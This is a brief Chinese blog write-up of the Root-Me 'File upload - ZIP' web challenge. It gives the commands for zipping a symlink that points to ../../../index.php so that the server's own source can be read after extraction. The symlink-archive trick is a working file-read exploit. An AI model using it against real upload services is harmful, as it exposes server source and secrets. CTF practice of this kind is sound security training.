File upload - ZIP

Your goal is to read index.php file.

上传压缩文件,系统将其解压
访问其中的php,


-------------------------------------------上述方法行不通,php文件禁止访问---------------------


kali下创建一个软链接,指向index.php
ln -s ../../../index.php file.zip file.txt
zip --symlinks file.zip file.txt

访问解压后的txt:
http://challenge01.root-me.org/web-serveur/ch51/tmp/upload/5df34708c52f26.40562607/file.txt

猜你喜欢

转载自www.cnblogs.com/abbin-blog/p/12111248.html